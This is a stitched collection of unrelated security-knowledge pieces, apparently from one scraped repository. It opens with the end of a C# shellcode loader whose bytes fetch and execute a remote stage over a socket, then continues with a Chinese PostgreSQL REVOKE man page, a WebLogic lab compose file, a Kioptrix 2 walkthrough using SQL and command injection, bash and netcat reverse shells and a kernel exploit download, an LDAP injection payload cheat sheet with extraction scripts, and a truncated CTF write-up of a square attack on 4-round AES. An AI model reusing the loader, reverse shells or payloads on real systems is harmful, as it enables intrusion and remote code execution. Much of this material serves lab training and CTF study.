0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5};
IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero;
uint BnhanUiUJaetgy;
bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);
oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}
}
```
> Micropoor
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "REVOKE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
REVOKE \- 删除访问权限
.SH SYNOPSIS
.sp
.nf
REVOKE [ GRANT OPTION FOR ]
{ { SELECT | INSERT | UPDATE | DELETE | RULE | REFERENCES | TRIGGER }
[,...] | ALL [ PRIVILEGES ] }
ON [ TABLE ] \fItablename\fR [, ...]
FROM { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...]
[ CASCADE | RESTRICT ]
REVOKE [ GRANT OPTION FOR ]
{ { CREATE | TEMPORARY | TEMP } [,...] | ALL [ PRIVILEGES ] }
ON DATABASE \fIdbname\fR [, ...]
FROM { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...]
[ CASCADE | RESTRICT ]
REVOKE [ GRANT OPTION FOR ]
{ EXECUTE | ALL [ PRIVILEGES ] }
ON FUNCTION \fIfuncname\fR ([\fItype\fR, ...]) [, ...]
FROM { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...]
[ CASCADE | RESTRICT ]
REVOKE [ GRANT OPTION FOR ]
{ USAGE | ALL [ PRIVILEGES ] }
ON LANGUAGE \fIlangname\fR [, ...]
FROM { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...]
[ CASCADE | RESTRICT ]
REVOKE [ GRANT OPTION FOR ]
{ { CREATE | USAGE } [,...] | ALL [ PRIVILEGES ] }
ON SCHEMA \fIschemaname\fR [, ...]
FROM { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...]
[ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBREVOKE\fR 撤销以前赋予（别人）的权限，可以是撤销一个或多个用户或者一组用户的权限。 关键字 PUBLIC 代表隐含定义的拥有所有用户的组。
.PP
参阅 GRANT [\fBgrant\fR(7)] 命令的描述获取权限类型的含义。
.PP
请注意，任何特定的用户都将拥有直接赋予他/她的权限，加上他/她所处的任何组， 以及再加上赋予 PUBLIC 的权限的总和。因此，举例来说，废止 PUBLIC 的 SELECT 权限并不意味着所有用户都失去了对该对象的 SELECT 权限： 那些直接得到权限赋予的以及通过一个组得到权限的人仍然拥有该权限。
.PP
如果声明了 GRANT OPTION FOR，那么只是撤销对该权限的授权的权力，而不是撤销该权限本身。
.PP
如果一个用户持有某项权限，并且还有授权的选项，并且还把这个权限赋予了其他用户， 那么那些其他用户持有的权限都叫做依赖性权限。 如果第一个用户持有的权限或者授权选项被撤销，而依赖性权限仍然存在， 那么如果我们声明了 CASCADE，则所有依赖性权限都被撤销， 否则撤销动作就会失败。这个递规的撤销只影响那种通过一个用户链赋予的权限， 这个链条可以通过这条 REVOKE 命令里面给出的用户追踪。 因此，如果权限本身是通过其他用户赋予的， 那么被影响的用户可以有效地保留这个权限。
.SH "NOTES 注意"
.PP
使用 \fBpsql\fR(1) 的 \fB\\z\fR 命令显示在一个现存对象上赋予的权限。 参见 GRANT [\fBgrant\fR(7)] 获取关于格式的信息。
.PP
一个用户只能撤销由它自己直接赋予的权限。举例来说，如果用户 A 带着授权选项吧一个权限赋予了用户 B，然后用户 B 又赋予了用户 C， 那么用户 A 不能直接将 C 的权限撤销。但是，用户 A 可以撤销用户 B 的授权选项，并且使用 CASCADE 选项，这样， 用户 C 的权限就会自动被撤销。
.PP
如果一个超级用户发出一个 GRANT 或者 REVOKE 命令， 那么命令是按照以被影响的对象的所有者执行的方式执行的。因为所有权限最终从对象所有者（可能间接通过赋权选项获取）， 超级用户可以废除所有权限，但是这样就要求像上面说的那样使用 CASCADE。
.SH "EXAMPLES 例子"
.PP
撤销公众在表 films 上的插入权限：
.sp
.nf
REVOKE INSERT ON films FROM PUBLIC;
.sp
.fi
.PP
废除用户 manuel 对视图 kinds 的所有权限：
.sp
.nf
REVOKE ALL PRIVILEGES ON kinds FROM manuel;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
GRANT [\fBgrant\fR(7)] 命令的兼容性信息基本上也适用于 REVOKE。语法概要是：
.sp
.nf
REVOKE [ GRANT OPTION FOR ] \fIprivileges\fR
ON \fIobject\fR [ ( \fIcolumn\fR [, ...] ) ]
FROM { PUBLIC | \fIusername\fR [, ...] }
{ RESTRICT | CASCADE }
.sp
.fi
标准要求 RESTRICT 或者 CASCADE 之一必须出现， 但是 PostgreSQL 假设缺省是 RESTRICT。
.SH "SEE ALSO 参见"
.PP
GRANT [\fBgrant\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
depends_on:
- redis
ports:
- "7001:7001"
redis:
image: vulhub/baselinux:centos-6
|
sec-knowleage
|
# Kioptrix2-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
**Description**
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
Source: http://www.kioptrix.com/blog/?page_id=135
Source: http://www.kioptrix.com/blog/?p=49
This is the second release of #2. First release had a bug in it with the web application
2012/Feb/09: Re-releases
2011/Feb/11: Original Release
**知识点**
- SQL 注入
- 命令执行
- CVE-2009-2698
**实验环境**
`环境仅供参考`
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali : NAT 模式,192.168.141.134
- 靶机 : NAT 模式
---
# 前期-信息收集
开始进行 IP 探活
```bash
nmap -sP 192.168.141.0/24
```
排除法,去掉自己、宿主机、网关, `192.168.141.145` 就是目标了
扫描开放端口
```bash
nmap -T5 -A -v -p- 192.168.141.145
```
开放端口数蛮多的,SSH、http、https、Mysql,还有一个较为少见的 631，运行的 CUPS 服务，CUPS 也有许多漏洞
这里 nmap 扫描 mysql 提示未授权,不过我测试并不能连接,从 web 先入手
---
# 中期-漏洞利用
看着就像有 SQL 注入的样子,随便试了下注入就进去了
```
账号 随便
密码 1' or '1'='1
```
看起来有个命令注入,简单尝试发现没有过滤
```
;ip a
```
下面直接回弹 shell，kali 监听
```
nc -lvp 4444
```
执行命令
```
;nc -nv 192.168.141.134 4444 -e /bin/bash
```
没成功,估计没有 nc,试试直接 bash 回弹
```
;bash -i >& /dev/tcp/192.168.141.134/4444 0>&1
```
回弹成功,果然没有 nc 程序,下面测试提权
---
# 后期-提权
简单收集下信息
```
cat /etc/*-release
uname -a
```
centos 4.5,可以试试 CVE-2009-2698，https://www.exploit-db.com/exploits/9542
这里直接靶机下载或kali下载再传上去都行,自选
kali 下载完启 HTTP
```bash
wget https://www.exploit-db.com/download/9542
mv 9542 9542.c
python -m SimpleHTTPServer 8080
```
靶机下载 kali 上的 poc
```bash
cd /tmp
wget 192.168.141.134:8080/9542.c
gcc 9542.c
ls
./a.out
```
提权成功,感谢 Kioptrix Team 制作靶机
|
sec-knowleage
|
# LDAP Injection
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
## Summary
* [Exploitation](#exploitation)
* [Payloads](#payloads)
* [Blind Exploitation](#blind-exploitation)
* [Defaults attributes](#defaults-attributes)
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
* [Scripts](#scripts)
* [Discover valid LDAP fields](#discover-valid-ldap-fields)
* [Special blind LDAP injection](#special-blind-ldap-injection)
## Exploitation
Example 1.
```sql
user = *)(uid=*))(|(uid=*
pass = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
```
Example 2
```sql
user = admin)(!(&(1=0
pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
```
## Payloads
```text
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```
## Blind Exploitation
We can extract using a bypass login
```sql
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
(&(sn=administrator)(password=MY*)) : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
```
## Defaults attributes
Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
```bash
userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName
```
## Exploiting userPassword attribute
`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
```bash
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
```
## Scripts
### Discover valid LDAP fields
```python
#!/usr/bin/python3
import requests
import string
fields = []
url = 'https://URL.com/'
f = open('dic', 'r') #Open the wordlists of common attributes
wordl = f.read().split('\n')
f.close()
for i in wordl:
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
if 'TRUE CONDITION' in r.text:
fields.append(str(i))
print(fields)
```
Ref. [5][5]
### Special blind LDAP injection (without "*")
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
Ref. [5][5]
```ruby
#!/usr/bin/env ruby
require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
flag = ''
(0..50).each do |i|
puts("[i] Looking for number #{i}")
alphabet.each do |char|
r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
if /TRUE CONDITION/.match?(r)
flag += char
puts("[+] Flag: #{flag}")
break
end
end
end
```
By [noraj](https://github.com/noraj)
## References
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
* SSH key authentication via LDAP
- [How to setup LDAP server for openssh-lpk](https://openssh-ldap-pubkey.readthedocs.io/en/latest/openldap.html)
- [openssh-lpk.ldif](https://github.com/Lullabot/openldap-schema/blob/master/openssh-lpk.ldif)
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
- [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)
|
sec-knowleage
|
e2label
===
设置第二扩展文件系统的卷标
## 补充说明
**e2label命令** 用来设置第二扩展文件系统的卷标。
### 语法
```shell
e2label(参数)
```
### 参数
* 文件系统：指定文件系统所对应的设备文件名；
* 新卷标：为文件系统指定新卷标。
### 实例
许多用了多年Linux的人可能也没有用过e2label命令。但是这个命令相当有效。在介绍它之前,我们先看看`/etc/fstab文`件：
```shell
label=//ext3 defaults 1 1
/dev/hda7 /usr ext3 defaults 1 1
```
第二行的意思很容易懂，就是把`/dev/hda7` mount到`/usr`上。第一行没有指明分区，意思是把label(卷标)为/ 的分区mount到/上。这样写的好处在于即使如果把硬盘从主板上的ide0(hda) 换到ide2(hdc)上，系统仍然可以自动挂载正确的分区。通常Linux安装的时候已经自动指定了卷标。如果是手动增加的新分区，可以用下边的命令为 其指定卷标：
```shell
e2label /dev/hdax /new
mkdir /new
```
然后在`/etc/fstab`里加入：
```shell
label=/new /new ext3 defaults 1 1
```
下次重新起动机器的时候，就会把卷标为`/new`的分区挂接到`/new`上。
|
sec-knowleage
|
## People's Square (Crypto 6p)
People's Square (A.K.A. shenmhin guangshan in Shanghai Dialect)
is a large public square in the Huangpu District of Shanghai,
China.
We know Talent Yang is the king of People's Square. Now he
provides you a strange guessing game, and he also demonstrates
his talent by giving you the result of how he tackles this task.
Can you show your talent to decrypt the secret?
###ENG
[PL](#pl-version)
We start by unpacking and analysing binary that we were given in challenge. In fact, that binary wasn't working on our computers
(not everyone of us has newest laptop model), but in spite of it we managed to decompile it.
Decompilation turned out to be only first step of analysis, because (as it's often the case with automatic decompilers) code was not very readable.
It's difficult to analyse something like that:
```cpp
const __m128i *__fastcall sub_4013C5(const __m128i *a1, __int64 a2)
{
__m128i v2; // xmm0@1
__m128i v3; // xmm0@2
__m128i v6; // xmm0@4
const __m128i *result; // rax@4
signed __int64 i; // [sp+18h] [bp-98h]@1
__int128 v11; // [sp+30h] [bp-80h]@1
__int128 v12; // [sp+40h] [bp-70h]@1
__int128 v13; // [sp+50h] [bp-60h]@1
__int128 v14; // [sp+60h] [bp-50h]@2
__int128 v15; // [sp+70h] [bp-40h]@2
__int128 v16; // [sp+80h] [bp-30h]@4
__int128 v17; // [sp+90h] [bp-20h]@4
__int128 v18; // [sp+A0h] [bp-10h]@4
v2 = _mm_load_si128((const __m128i *)a2);
_mm_store_si128((__m128i *)&v12, _mm_loadu_si128(a1));
_mm_store_si128((__m128i *)&v13, v2);
_mm_store_si128(
(__m128i *)&v11,
_mm_xor_si128(_mm_load_si128((const __m128i *)&v13), _mm_load_si128((const __m128i *)&v12)));
for ( i = 1LL; (unsigned __int64)i <= 3; ++i )
{
v3 = _mm_load_si128((const __m128i *)(16 * i + a2));
_mm_store_si128((__m128i *)&v14, _mm_load_si128((const __m128i *)&v11));
_mm_store_si128((__m128i *)&v15, v3);
_XMM0 = _mm_load_si128((const __m128i *)&v14);
__asm { aesenc xmm0, [rbp+var_40] }
_mm_store_si128((__m128i *)&v11, _XMM0);
}
v6 = _mm_load_si128((const __m128i *)(a2 + 64));
_mm_store_si128((__m128i *)&v16, _mm_load_si128((const __m128i *)&v11));
_mm_store_si128((__m128i *)&v17, v6);
_XMM0 = _mm_load_si128((const __m128i *)&v16);
__asm { aesenclast xmm0, [rbp+var_20] }
_mm_store_si128((__m128i *)&v11, _XMM0);
_mm_store_si128((__m128i *)&v18, _mm_load_si128((const __m128i *)&v11));
result = a1;
_mm_storeu_si128((__m128i *)a1, _mm_load_si128((const __m128i *)&v18));
return result;
}
```
We started by manually refactoring provided code to something more manageable. We arrived at something like this:
```cpp
__int64 realMain()
{
char keyProbably;
char ciphertextFor0[16];
char ciphertextFor1[16];
__int64 v14 = 0LL;
__int64 v16 = 0LL;
sub_400ABE(&v14); // put encrypted flag into buffer
__int64 v10 = 0LL;
sub_400A74(&v10);
generateKey((const __m128i *)&v10, (__int64)&keyProbably);
__int64 v6 = 0LL;
__int64 initTime = time(0LL);
for (__int64 i = 0LL; i <= 0x3FF; i++)
{
memsetAndEncrypt((__int64)&keyProbably, &ciphertextFor0, &ciphertextFor1, i, initTime);
unsigned int v5 = rand() & 1;
char *v1;
if (v5) {
v1 = &ciphertextFor0;
} else {
v1 = &ciphertextFor1;
}
hexdump((__int64)v1, 0x10);
puts("0 or 1?");
user_bit = getchar() - 48;
puts("ciphertext for 0 is: ");
hexdump(&ciphertextFor0, 0x10);
puts("ciphertext for 1 is: ");
hexdump(&ciphertextFor1, 0x10);
if ( user_bit == v5 )
{
puts("Correct!");
++v6;
}
else
{
puts("Incorrect!");
}
}
if ( v6 == 1024 )
{
puts("Now I will give you the flag:");
realEncrypt((const __m128i *)&v14, (__int64)&keyProbably); // decrypt flag
realEncrypt((const __m128i *)&v16, (__int64)&keyProbably);
hexdump((__int64)&v14, 0x20uLL);
}
return 0;
}
void memsetAndEncrypt(__int64 keyProbably, char ciphertext0[16], char ciphertext1[16], __int64 iter, __int64 initTime)
{
memset(ciphertext0, 0, 0x10uLL);
memset(ciphertext1, 1, 0x10uLL);
memcpy((char *)ciphertext0 + 8, &iter, 4uLL);
memcpy((char *)ciphertext1 + 8, &iter, 4uLL);
memcpy((char *)ciphertext0 + 12, &initTime, 4uLL);
memcpy((char *)ciphertext1 + 12, &initTime, 4uLL);
realEncrypt((const __m128i *)ciphertext0, keyProbably);
realEncrypt((const __m128i *)ciphertext1, keyProbably);
}
void realEncrypt(__m128i *a1, __m128i *key)
{
__int128 state;
*state = a1 ^ key[0];
for (int i = 1LL; i <= 3; ++i) {
*state = aesenc(state, key[i];
}
*a1 = aesenclast(state, key[4]);
}
```
Beautiful, if compared to abomination we had earlier. (For example, function that I
pasted earlier is now called "realEncrypt" - that's right, that mess of code is only 4 lines long after refactoring).
As you can see - all this code is only AES encrypting some data. RealEncrypt is really traditional AES, but it's using only 4 rounds - instead of 10 rounds, as proper AES128 should be (and only because of it we were able to crack it)
Reiterating, in pseudocode, our program can be summarized with something like this:
```cpp
uint32_t initTime = time()
for (uint32_t i = 0; i < 1024; i++) {
// 16 byte array: [ 8 ones ] [ i (4 bytes) ] [ initTime (4 bytes) ]
uint8_t ones[16];
memset(ones, 0, 16);
memcpy(ones + 8, &i, 4);
memcpy(ones + 12, &initTime, 4);
// 16 byte array: [ 8 zeroes ] [ i (4 bytes) ] [ initTime (4 bytes) ]
uint8_t zeroes[16];
memset(zeroes, 0, 16);
memcpy(zeroes + 8, &i, 4);
memcpy(zeroes + 12, &initTime, 4);
bool bit = rand() % 2;
if (bit == 0) {
print(encrypt(zeroes));
} else {
print(encrypt(zeroes));
}
print("guess?");
bool guess = read();
if (guess == bit) {
goodGuesses++;
}
print(encrypt(zeroes));
print(encrypt(ones));
}
if (goodGuesses == 1024) {
print("you won");
print encrypt(encryptedFlag); // will actually decrypt flag for us
}
```
Where encrypt is our modified, 4-round AES.
How would we begin cracking something like that? It turns out we can use well-known cryptographic attack technique, called `square attack` or `integral cryptanalysis`.
To understand how this attack is supposed to work, we need to first get a high level (simplified) overview of AES.
So AES is working on 128bit blocks. These 128 bits are treated as 4x4 byte array, and we are performing some "operations" on that array.
What kind of operations?
1) SubBytes - every byte in matrix is substituted with another byte, using fixed associatve table (so-called substitution box, aka sbox). So given matrix:
in_matrix:
1 2 3 4
6 7 8 5
11 12 9 10
16 13 14 15
we end up with:
out_matrix:
S[1] S[2] S[3] S[4]
S[6] S[7] S[8] S[5]
S[11] S[12] S[9] S[10]
S[16] S[13] S[14] S[15]
ShiftRows - rows of matrix are shifted by `row_number` positions to the left. For example given matrix:
in_matrix:
1 2 3 4
5 6 7 8
9 10 11 12
13 14 15 16
we arrive to:
out_matrix:
1 2 3 4
6 7 8 5
11 12 9 10
16 13 14 15
MixColumns - values in matrix columns are mixed with each other (obvious, I know) (to be precise, columns are treated as polynominals and multiplied by fixed polynominal, but that's not important right now)
What's important is that final values in column depends only on another values in that column:
in_matrix:
A E I M
B F J N
C G K O
D H L P
nA, nB, nC, nD = mix(A, B, C, D)
nE, nF, nG, nH = mix(E, F, G, H)
nI, nJ, nK, nL = mix(I, J, K, L)
nM, nN, nO, nP = mix(M, N, O, P)
out_matrix:
nA nE nI nM
nB nF nJ nN
nC nG nK nO
nD nH nL nP
AddRoundKey - we are adding round key to each byte in matrix (don't look at me like that, it's not my fault that every operation is already descriptively named).
The catch is, instead of traditional addition we are using 'xor' operation (in technical words, that's because we are operating on galios field, and 'xor' is addition analogy there).
in_matrix:
A E I M
B F J N
C G K O
D H L P
round_key:
R0 R1 R2 R3
R4 R5 R6 R7
R8 R9 RA RB
RC RD RE RF
out_matrix:
A^R0 E^R1 I^R2 M^R3
B^R4 F^R5 J^R6 N^R7
C^R8 G^R9 K^RA O^RB
D^RC H^RD L^RE P^RF
Why bother with all that theory? Because now we are going to describe the actual attack.
Assume that we can get ciphertexts for 256 chosen (by us) plaintexts - in such a way, that every byte is constant among all plaintexts, except one byte that gets every possible byte value.
Example of such set could be for example:
00 00 00 00 00 ... 00
01 00 00 00 00 ... 00
02 00 00 00 00 ... 00
03 00 00 00 00 ... 00
04 00 00 00 00 ... 00
..
FE 00 00 00 00 ... 00
FF 00 00 00 00 ... 00
Then we can represent AES state at the beginning with the following matrix:
X C C C
C C C C
C C C C
C C C C
*Important* - C means that byte is the same on corresponding positions in matrix for every considered plaintext from our set.
And X means that byte at that position gets *every possible byte value* for some considered plaintexts.
So, let's check what AES will do with our set of chosen plaintexts:
Initial value.
X C C C
C C C C
C C C C
C C C C
As mentioned, first byte is taking every possible value, and rest of bytes is constant.
After SubBytes:
X C C C
C C C C
C C C C
C C C C
Of course, every 'C' is changed to the same value (so they are still constant). What's next?
After ShiftRows:
X C C C
C C C C
C C C C
C C C C
Nothing's changed.
After MixColumns:
X C C C
X C C C
X C C C
X C C C
Now we're getting somewhere. Now 'C' values are not exactly the same when looking at single state, but they get the same value for every plaintext in our choosen set - ant that's what matters.
Similarly, every byte marked as 'X' will take every possible value for one of our plaintexts. I hope that's clear, let's continue.
After AddKey:
X C C C
X C C C
X C C C
X C C C
Now for second round:
After SubBytes:
X C C C
X C C C
X C C C
X C C C
After ShiftRows
X C C C
C C C X
C C X C
C X C C
After MixColumns:
X X X X
X X X X
X X X X
X X X X
After AddKey:
X X X X
X X X X
X X X X
X X X X
What happend now? Now *every byte* is taking every possible value. Horrible! Or is it?
That means that if we fix any state position (for example, 2nd row and 2nd column) and xor them:
(State_xx means state for xx-th plaintext from our set)
state_01[2][2] ^ state_02[2][2] ^ state03_[2][2] ^ ... ^ stateFF[2][2] = 0
Then we will always get 0! That's because we know that that byte is taking every possible byte, value, so we are xoring (in random order) numbers
0 ^ 1 ^ 2 ^ 3 ... ^ 0xFE ^ 0xFF
So what? After all, our AES has 4 rounds, not 3.
But we can *guess* one byte of key to *decrypt* one byte of encrypted data after 4th round. From previos relationship we can conclude that
if we guess the byte correctly, decrypt some byte in ciphertext with it, and xor it all together, we must get 0.
Then we can repeat that process 16 times - once fo each byte of key. On average we will find 2 good values (one correct, and 256 * 1/256 chance of false positive). We can just try every possibility - that will give us 2^16 complexity of attack - a LOT better than naive 2^128.
We can also quite easily recover the master cipher key from any round key.
Can we use that attack in this challenge? Of course - if we take first 256 plaintexts, we can see that every one of them is differing only on ony byte - lowest byte of 'i'.
So we can implement that attack in python (AES implementation skipped here, but it will be provided with full code in writeup)
```python
def integrate(index):
potential = []
for candidateByte in range(256):
sum = 0
for ciph in ciphertexts:
oneRoundDecr = backup(ciph, candidateByte, index) # decrypt one round of one byte
sum ^= oneRoundDecr # xor result with sum
if sum == 0: # if sum is equal to 0 - candidateByte stays a candidate
potential.append(candidateByte)
return potential
from itertools import product
def integral():
candidates = []
for i in range(16):
candidates.append(integrate(i)) # compute all possible candidate bytes for all positions
print 'candidates', candidates
for roundKey in product(*candidates): # check all possibilities
masterKey = round2master(roundKey)
plain = ''.join(chr(c) for c in decrypt4rounds(ciphertexts[1], masterKey))
if '\0\0\0\0' in plain: # we know that plaintext contains 4 '0' bytes, and it's unlike to be accident
print 'solved', masterKey
```
After running it for provided ciphertexts we get following result:
candidates [[95, 246], [246], [1, 99], [78, 187], [123], [106], [98, 223], [96], [211], [44, 63, 102], [192, 234], [167], [9, 135, 234], [36], [146, 166], [107]]
solved [23, 74, 34, 20, 64, 53, 100, 117, 220, 227, 160, 55, 163, 23, 237, 75]
Awesome! Now we can just decrypt encrypted flag (we have key, after all).
0CTF{~R0MAN_l0VES_B10CK_C1PHER~}
Full code used in our attack included in [integral.py](integral.py) file.
Code template and used attack was mostly borrowed from lecture http://opensecuritytraining.info/Cryptanalysis.html (CC-by-sa 3.0 license).
For that reason, our code is published on CC 3.0 BY SA license, but writeup text and our code (fragments in this writeup) use our usual license.
###PL version
Najpierw analizujemy binarkę którą dostajemy w zadaniu. Co prawda nie działała ona na większości naszych komputerów za bardzo
(nie wszyscy mamy najnowsze laptopy), udało nam się ją zdekompilować.
Dekompilacja to dopiero pierwszy krok analizy, ponieważ jak to z automatyczną dekompilacją zawsze - kod był bardzo nieczytelny.
Ciężko o analizę z funkcjami takimi jak taka:
```cpp
const __m128i *__fastcall sub_4013C5(const __m128i *a1, __int64 a2)
{
__m128i v2; // xmm0@1
__m128i v3; // xmm0@2
__m128i v6; // xmm0@4
const __m128i *result; // rax@4
signed __int64 i; // [sp+18h] [bp-98h]@1
